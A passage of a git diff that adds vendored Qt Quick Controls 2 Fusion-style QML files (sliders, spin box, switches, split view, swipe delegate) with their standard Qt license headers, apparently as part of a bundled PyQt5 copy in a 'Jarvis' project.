control.active + PropertyChanges { target: control.contentItem; opacity: 0.75 } + } + + transitions: [ + Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 450 } + NumberAnimation { target: control.contentItem; duration: 200; property: "opacity"; to: 0.0 } + } + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Slider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Slider.qml new file mode 100644 index 00000000..d212a233 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Slider.qml @@ -0,0 +1,68 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Slider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitHandleHeight + topPadding + bottomPadding) + + handle: SliderHandle { + x: control.leftPadding + Math.round(control.horizontal ? control.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + Math.round(control.horizontal ? (control.availableHeight - height) / 2 : control.visualPosition * (control.availableHeight - height)) + + palette: control.palette + pressed: control.pressed + hovered: control.hovered + vertical: control.vertical + visualFocus: control.visualFocus + } + + background: SliderGroove { + control: control + progress: control.position + visualProgress: control.visualPosition + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SliderGroove.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SliderGroove.qml new file mode 100644 index 00000000..381a02b5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SliderGroove.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +Rectangle { + id: groove + + property Item control + property real offset + property real progress + property real visualProgress + + x: control.horizontal ? 0 : (control.availableWidth - width) / 2 + y: control.horizontal ? (control.availableHeight - height) / 2 : 0 + + implicitWidth: control.horizontal ? 160 : 5 + implicitHeight: control.horizontal ? 5 : 160 + width: control.horizontal ? control.availableWidth : implicitWidth + height: control.horizontal ? implicitHeight : control.availableHeight + + radius: 2 + border.color: Fusion.outline(control.palette) + scale: control.horizontal && control.mirrored ? -1 : 1 + + gradient: Gradient { + GradientStop { + position: 0 + color: Qt.darker(Fusion.grooveColor(groove.control.palette), 1.1) + } + GradientStop { + position: 1 + color: Qt.lighter(Fusion.grooveColor(groove.control.palette), 1.1) + } + } + + Rectangle { + x: groove.control.horizontal ? groove.offset * parent.width : 0 + y: groove.control.horizontal ? 0 : groove.visualProgress * parent.height + width: groove.control.horizontal ? groove.progress * parent.width - groove.offset * parent.width : 5 + height: groove.control.horizontal ? 5 : groove.progress * parent.height - groove.offset * parent.height + + radius: 2 + border.color: Qt.darker(Fusion.highlightedOutline(groove.control.palette), 1.1) + + gradient: Gradient { + GradientStop { + position: 0 + color: Fusion.highlight(groove.control.palette) + } + GradientStop { + position: 1 + color: Qt.lighter(Fusion.highlight(groove.control.palette), 1.2) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SliderHandle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SliderHandle.qml new file mode 100644 index 00000000..c53af57e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SliderHandle.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +Rectangle { + id: handle + + property var palette + property bool pressed + property bool hovered + property bool vertical + property bool visualFocus + + implicitWidth: 13 + implicitHeight: 13 + + gradient: Gradient { + GradientStop { + position: 0 + color: Fusion.gradientStart(Fusion.buttonColor(handle.palette, handle.visualFocus, handle.pressed, handle.hovered)) + } + GradientStop { + position: 1 + color: Fusion.gradientStop(Fusion.buttonColor(handle.palette, handle.visualFocus, handle.pressed, handle.hovered)) + } + } + rotation: handle.vertical ? -90 : 0 + border.width: 1 + border.color: "transparent" + radius: 2 + + Rectangle { + width: parent.width + height: parent.height + border.color: handle.visualFocus ? Fusion.highlightedOutline(handle.palette) : Fusion.outline(handle.palette) + color: "transparent" + radius: 2 + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + border.color: Fusion.innerContrastLine + color: "transparent" + radius: 2 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SpinBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SpinBox.qml new file mode 100644 index 00000000..41754f63 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SpinBox.qml @@ -0,0 +1,182 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.SpinBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentItem.implicitWidth + 2 * padding + + Math.max(up.implicitIndicatorWidth, + down.implicitIndicatorWidth)) + implicitHeight: Math.max(implicitContentHeight + topPadding + bottomPadding, + implicitBackgroundHeight, + up.implicitIndicatorHeight + + down.implicitIndicatorHeight) + + padding: 4 + leftPadding: padding + (control.mirrored ? (up.indicator ? up.indicator.width : 0) : (down.indicator ? down.indicator.width : 0)) + rightPadding: padding + (control.mirrored ? (down.indicator ? down.indicator.width : 0) : (up.indicator ? up.indicator.width : 0)) + + validator: IntValidator { + locale: control.locale.name + bottom: Math.min(control.from, control.to) + top: Math.max(control.from, control.to) + } + + contentItem: TextInput { + z: 2 + text: control.displayText + + font: control.font + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + horizontalAlignment: Qt.AlignHCenter + verticalAlignment: Qt.AlignVCenter + + readOnly: !control.editable + validator: control.validator + inputMethodHints: control.inputMethodHints + } + + up.indicator: PaddedRectangle { + x: control.mirrored ? 1 : parent.width - width - 1 + y: 1 + height: parent.height / 2 - 1 + implicitWidth: 16 + implicitHeight: 10 + + radius: 1.7 + clip: true + topPadding: -2 + leftPadding: -2 + color: control.up.pressed ? Fusion.buttonColor(control.palette, false, true, true) : "transparent" + + ColorImage { + scale: -1 + width: parent.width + height: parent.height + opacity: enabled ? 1.0 : 0.5 + color: control.palette.buttonText + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Fusion/images/arrow.png" + fillMode: Image.Pad + } + } + + down.indicator: PaddedRectangle { + x: control.mirrored ? 1 : parent.width - width - 1 + y: parent.height - height - 1 + height: parent.height / 2 - 1 + implicitWidth: 16 + implicitHeight: 10 + + radius: 1.7 + clip: true + topPadding: -2 + leftPadding: -2 + color: control.down.pressed ? Fusion.buttonColor(control.palette, false, true, true) : "transparent" + + ColorImage { + width: parent.width + height: parent.height + opacity: enabled ? 1.0 : 0.5 + color: control.palette.buttonText + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Fusion/images/arrow.png" + fillMode: Image.Pad + } + } + + background: Rectangle { + implicitWidth: 120 + implicitHeight: 24 + + radius: 2 + color: control.palette.base + border.color: control.activeFocus ? Fusion.highlightedOutline(control.palette) : Fusion.outline(control.palette) + + Rectangle { + x: 2 + y: 1 + width: parent.width - 4 + height: 1 + color: Fusion.topShadow + } + + Rectangle { + x: control.mirrored ? 1 : parent.width - width - 1 + y: 1 + width: Math.max(control.up.indicator ? control.up.indicator.width : 0, + control.down.indicator ? control.down.indicator.width : 0) + 1 + height: parent.height - 2 + + radius: 2 + gradient: Gradient { + GradientStop { + position: 0 + color: Fusion.gradientStart(Fusion.buttonColor(control.palette, control.visualFocus, false, control.up.hovered || control.down.hovered)) + } + GradientStop { + position: 1 + color: Fusion.gradientStop(Fusion.buttonColor(control.palette, control.visualFocus, false, control.up.hovered || control.down.hovered)) + } + } + + Rectangle { + x: control.mirrored ? parent.width - 1 : 0 + height: parent.height + width: 1 + color: Fusion.outline(control.palette) + } + } + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + color: "transparent" + border.color: Color.transparent(Fusion.highlightedOutline(control.palette), 40 / 255) + visible: control.activeFocus + radius: 1.7 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SplitView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SplitView.qml new file mode 100644 index 00000000..6a04b4da --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SplitView.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2018 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.13 +import QtQuick.Templates 2.13 as T +import QtQuick.Controls 2.13 +import QtQuick.Controls.impl 2.13 +import QtQuick.Controls.Fusion 2.13 + +T.SplitView { + id: control + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + handle: Rectangle { + implicitWidth: control.orientation === Qt.Horizontal ? 2 : control.width + implicitHeight: control.orientation === Qt.Horizontal ? control.height : 2 + color: T.SplitHandle.pressed ? palette.dark + : (T.SplitHandle.hovered ? control.palette.midlight : control.palette.mid) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwipeDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwipeDelegate.qml new file mode 100644 index 00000000..48c531ea --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwipeDelegate.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.SwipeDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + swipe.transition: Transition { SmoothedAnimation { velocity: 3; easing.type: Easing.InOutCubic } } + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + color: control.down ? Fusion.buttonColor(control.palette, false, true, true) + : control.highlighted ? Fusion.highlight(control.palette) : control.palette.base + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Switch.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Switch.qml new file mode 100644 index 00000000..bf18003a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Switch.qml @@ -0,0 +1,72 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Switch { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + indicator: SwitchIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.palette.text + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwitchDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwitchDelegate.qml new file mode 100644 index 00000000..67c41924 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwitchDelegate.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.SwitchDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + indicator: SwitchIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: !control.mirrored ? control.indicator.width + control.spacing : 0 + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.highlighted ? Fusion.highlightedText(control.palette) : control.palette.text + } + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 20 + color: control.down ? Fusion.buttonColor(control.palette, false, true, true) + : control.highlighted ? Fusion.highlight(control.palette) : control.palette.base + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwitchIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwitchIndicator.qml new file mode 100644 index 00000000..ae7c89a0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/SwitchIndicator.qml @@ -0,0 +1,137 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +Rectangle { + id: indicator + + property Item control + readonly property color pressedColor: Fusion.mergedColors(control.palette.base, control.palette.windowText, 85) + readonly property color checkMarkColor: Qt.darker(control.palette.text, 1.2) + + implicitWidth: 40 + implicitHeight: 16 + + radius: 2 + border.color: Fusion.outline(control.palette) + + gradient: Gradient { + GradientStop { + position: 0 + color: Qt.darker(Fusion.grooveColor(indicator.control.palette), 1.1) + } + GradientStop { + position: 1 + color: Qt.lighter(Fusion.grooveColor(indicator.control.palette), 1.1) + } + } + + Rectangle { + x: indicator.control.mirrored ? handle.x : 0 + width: indicator.control.mirrored ? parent.width - handle.x : handle.x + handle.width + height: parent.height + + opacity: indicator.control.checked ? 1 : 0 + Behavior on opacity { + enabled: !indicator.control.down + NumberAnimation { duration: 80 } + } + + radius: 2 + border.color: Qt.darker(Fusion.highlightedOutline(indicator.control.palette), 1.1) + border.width: indicator.control.enabled ? 1 : 0 + + gradient: Gradient { + GradientStop { + position: 0 + color: Fusion.highlight(indicator.control.palette) + } + GradientStop { + position: 1 + color: Qt.lighter(Fusion.highlight(indicator.control.palette), 1.2) + } + } + } + + Rectangle { + id: handle + x: Math.max(0, Math.min(parent.width - width, indicator.control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + width: 20 + height: 16 + radius: 2 + + gradient: Gradient { + GradientStop { + position: 0 + color: Fusion.gradientStart(Fusion.buttonColor(indicator.control.palette, indicator.control.visualFocus, indicator.control.pressed, indicator.control.hovered)) + } + GradientStop { + position: 1 + color: Fusion.gradientStop(Fusion.buttonColor(indicator.control.palette, indicator.control.visualFocus, indicator.control.pressed, indicator.control.hovered)) + } + } + border.width: 1 + border.color: "transparent" + + Rectangle { + width: parent.width + height: parent.height + border.color: indicator.control.visualFocus ? Fusion.highlightedOutline(indicator.control.palette) : Fusion.outline(indicator.control.palette) + color: "transparent" + radius: 2 + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + border.color: Fusion.innerContrastLine + color: "transparent" + radius: 2 + } + } + + Behavior on x { + enabled: !indicator.control.down + SmoothedAnimation { velocity: 200 } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TabBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TabBar.qml new file mode 100644 index 00000000..233a2acd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TabBar.qml @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following 